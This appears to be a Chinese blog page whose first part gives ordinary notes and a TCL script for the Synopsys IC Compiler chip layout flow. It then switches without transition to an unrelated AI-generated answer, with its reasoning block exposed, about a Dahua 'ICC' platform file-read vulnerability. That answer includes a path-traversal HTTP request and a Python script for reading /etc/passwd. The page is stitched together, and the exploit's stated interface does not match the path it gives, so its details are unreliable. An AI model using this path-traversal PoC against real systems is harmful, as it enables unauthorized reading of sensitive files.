Synopsys ICC 笔记

一、ICC综合概述

ICC(IC Compiler)是把门级网表转换成foundry厂可用于掩膜的版图信息的过程,它包括数据准备、布局、时钟树综合、布线等步骤。

ICC

ICC输入文件

ICC输入需要两部分信息:综合数据+物理数据。
综合数据:

  • 门级网表文件,如orca.v
  • 约束文件,如orca.sdc
  • 逻辑库文件,包含时序信息,如标准单元sc.db,宏单元macros.db,输入输出单元io.db等

物理数据:

  • 技术文件,包含金属层等信息,如abc_6m.tf
  • 线负载模型,TLU+
  • 物理库文件,包含版图信息,如标准单元sc.mw,宏单元macros.mw,输入输出单元io.mw等

ICC输出文件

ICC输出的是GDSII格式的版图,用于流片。

二、ICC综合流程

参考Synopsys ICC lab1的RISC_CHIP的例子,展示各个流程发生的变化。

1、逻辑库、技术库、版图库等基本参数设定

这是前期的准备工作,设定搜索路径、逻辑时序库.db、负载模型库.tluplus等。

2、创建自己的Milkyway文件夹

Milkyway是Synopsys用于保存版图所有信息的格式,创建自己的Milkyway文件夹用来保存ICC过程中的文件。

读入门级网表,所有的模块都集中在角落,需要加入后续的布局布线信息。
读入门级网表

3、布局规划floorplan

布局主要包含芯片大小的规划、IO单元的规划、宏单元的规划、电源网络的设计等。

读入.def文件,包含了整体的布局信息,这个文件需要另外经过许多操作产生:
floorplan

floorplan一旦确定,整个芯片的面积就定下来了,并且和整个设计的timing、布通率密切相关。

4、布局placement

placement是将一个个标准单元模块放入中间区域,通过place_opt自动排布

placement

5、时钟树综合CTS

时钟树综合的主要目的是减小内部各个时钟的偏斜。时钟源必须通过一级一级的buffer才能驱动众多内部时钟,buffer采用上下延时对称的反相器。

下图是时钟树综合后的布局,内部的标准单元会重新排布:
CTS

下图高亮了时钟树的内部走线
时钟树

6、布线routing

布线会经过全局布线(Global routing 和详细布线 (Detail Routing)两个步骤,通过route_opt完成:

6.JPG

三、ICC注释详解

ICC的命令采用tcl语言,下面根据synopsys ICC lab1的样例写一段综合的脚本。

############################################################
# 1、逻辑库、技术库等基本参数设定
############################################################
lappend search_path ../ref/db ../ref/tlup
set_app_var target_library "sc_max.db"
set_app_var link_library "* sc_max.db io_max.db ram16x128_max.db"
set_min_library sc_max.db -min_version sc_min.db
set_min_library io_max.db -min_version io_min.db
set_min_library ram16x128_max.db -min_version ram16x128_min.db
# - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
# RISC_CHIP setup variables
# - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
set my_mw_lib risc_chip.mw
set mw_path "../ref/mw_lib"
set tech_file " ../ref/tech/cb13_6m.tf"
set tlup_map "../ref/tlup/cb13_6m.map"
set tlup_max "../ref/tlup/cb13_6m_max.tluplus"
set tlup_min "../ref/tlup/cb13_6m_min.tluplus"
set top_design   "RISC_CHIP"
set verilog_file "./design_data/RISC_CHIP.v"
set sdc_file     "./design_data/RISC_CHIP.sdc"
set def_file     "./design_data/RISC_CHIP.def"
set ctrl_file    "./scripts/opt_ctrl.tcl"
set derive_pg_file    "./scripts/derive_pg.tcl"
set MODULE_NAME RISC_CHIP
############################################################
# 2、创建自己的Milkyway文件夹
############################################################
file delete -force $my_mw_lib
create_mw_lib $my_mw_lib -open -technology $tech_file \
	-mw_reference_library "$mw_path/sc $mw_path/io $mw_path/ram16x128"
#加载门级网表文件
import_designs $verilog_file \
	-format verilog \
	-top $top_design
#加载线负载模型
set_tlu_plus_files \
	-max_tluplus $tlup_max \
	-min_tluplus $tlup_min \
	-tech2itf_map  $tlup_map
#加载VDD、VSS信息
source $derive_pg_file
#加载约束文件
read_sdc $sdc_file
source $ctrl_file
source scripts/zic_timing.tcl
exec cat zic.timing

remove_ideal_network [get_ports scan_en]
save_mw_cel -as RISC_CHIP_data_setup
############################################################
# 3、布局规划floorplan
############################################################
# 读入布局信息并布局
read_def $def_file
set_pnet_options -complete {METAL3 METAL4}
save_mw_cel -as RISC_CHIP_floorplanned
############################################################
# 4、布局placement,放置基本单元
############################################################
place_opt
redirect -tee place_opt.timing {report_timing}
report_congestion -grc_based -by_layer -routing_stage global
save_mw_cel -as RISC_CHIP_placed
############################################################
# 5、时钟树综合clock tree synthesis
############################################################
remove_clock_uncertainty [all_clocks]
set_fix_hold [all_clocks]
#时钟树综合
clock_opt
redirect -tee clock_opt.timing {report_timing}
# 保存文件
save_mw_cel -as RISC_CHIP_cts
############################################################
# 6、布线routing
############################################################
route_opt
#报告物理信息
report_design -physical
save_mw_cel -as RISC_CHIP_routed
############################################################
# 7、输出文件
############################################################
file mkdir icc_files
write  -format ddc  -hierarchy   -output icc_files/$MODULE_NAME.apr.ddc
write_verilog -no_tap_cells icc_files/$MODULE_NAME.lvs.v -pg -no_core_filler_cells
write_verilog -no_tap_cells icc_files/$MODULE_NAME.sim.v -no_core_filler_cells

四、参考资料

1.虞希清.专用集成电路设计实用教程.浙江:浙江大学出版社,2006
2.IC Compiler Synopsys Workshop

原文

<think>好的,我现在需要帮助用户了解大华智能物联ICC综合管理平台readpic接口的任意文件读取漏洞的利用方法,包括具体的POC。首先,我得回顾用户提供的三个引用内容,看看里面有没有相关的技术细节。 根据引用1,漏洞存在文件读取问题,攻击者可以获取敏感信息。引用2提到漏洞位于readpic接口,未经身份验证的攻击者可以利用。引用3则指出该平台的技术架构,漏洞会导致敏感信息泄露,并提到了POC的存在。所以,我需要整合这些信息,给出一个清晰的利用步骤。 接下来,我应该先描述漏洞的基本情况,比如漏洞编号QVD-2023-45063,影响版本,漏洞位置在readpic接口。然后说明漏洞成因,可能是未对用户输入做严格过滤,导致路径遍历。 然后,利用过程需要分步骤:环境搭建、漏洞验证、构造请求、利用路径遍历读取文件。在构造请求时,需要明确请求方法(GET)、接口路径,以及如何利用参数进行目录穿越,比如../../../../etc/passwd。同时要提到不同系统的文件路径差异,比如Windows和Linux。 关于POC部分,用户可能需要具体的代码示例,比如用Python的requests库发送GET请求,并处理响应。这时候需要确保代码正确,并提醒用户注意测试环境的安全性,避免违法操作。 最后,生成相关问题,覆盖漏洞修复、影响版本、类似漏洞原理、企业防范措施等,这样用户如果有进一步的问题,可以继续探索。 需要检查是否所有技术细节都准确,比如漏洞接口的路径是否正确,参数是否正确,以及是否引用了正确的来源。同时,确保回答结构清晰,分步骤说明,并附上代码示例,符合用户的要求。</think>### 大华ICC readpic接口任意文件读取漏洞利用方法 #### 漏洞背景 大华ICC智能物联综合管理平台`readpic`接口因未对文件路径参数进行严格过滤,攻击者可通过构造特殊路径实现任意文件读取,导致敏感信息泄露(如系统配置文件、密码文件等)[^2][^3]。漏洞编号为**QVD-2023-45063**。 --- #### 漏洞利用步骤(POC) **1. 环境搭建** - 受影响版本:大华ICC智能物联综合管理平台特定版本(需参考官方公告) - 复现环境:使用Docker搭建测试平台或存在漏洞的真实设备(需授权)[^3]。 **2. 漏洞验证** 向目标系统发送以下HTTP请求,尝试读取`/etc/passwd`(Linux系统)或`C:\Windows\win.ini`(Windows系统): ```http GET /emap/device/point_add/img/img?file=../../../../../../../../etc/passwd HTTP/1.1 Host: [目标IP]:[端口] User-Agent: Mozilla/5.0 Connection: close ``` **3. 关键参数说明** - **接口路径**:`/emap/device/point_add/img/img` - **参数`file`**:通过路径遍历(`../../`)跳转至目标文件路径。 **4. 利用过程** - **构造恶意请求**: 使用`curl`或Python脚本发送请求: ```python import requests url = "http://目标IP:端口/emap/device/point_add/img/img" params = { "file": "../../../../../../../../etc/passwd" } response = requests.get(url, params=params) print(response.text) ``` - **结果判断**: 若返回`200 OK`且包含系统文件内容,则漏洞存在。 --- #### 防御建议 1. 升级至官方修复版本。 2. 对`file`参数进行规范化检查,过滤`../`等特殊字符。 3. 限制文件访问权限至必要目录[^1]。 ---
评论 5
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值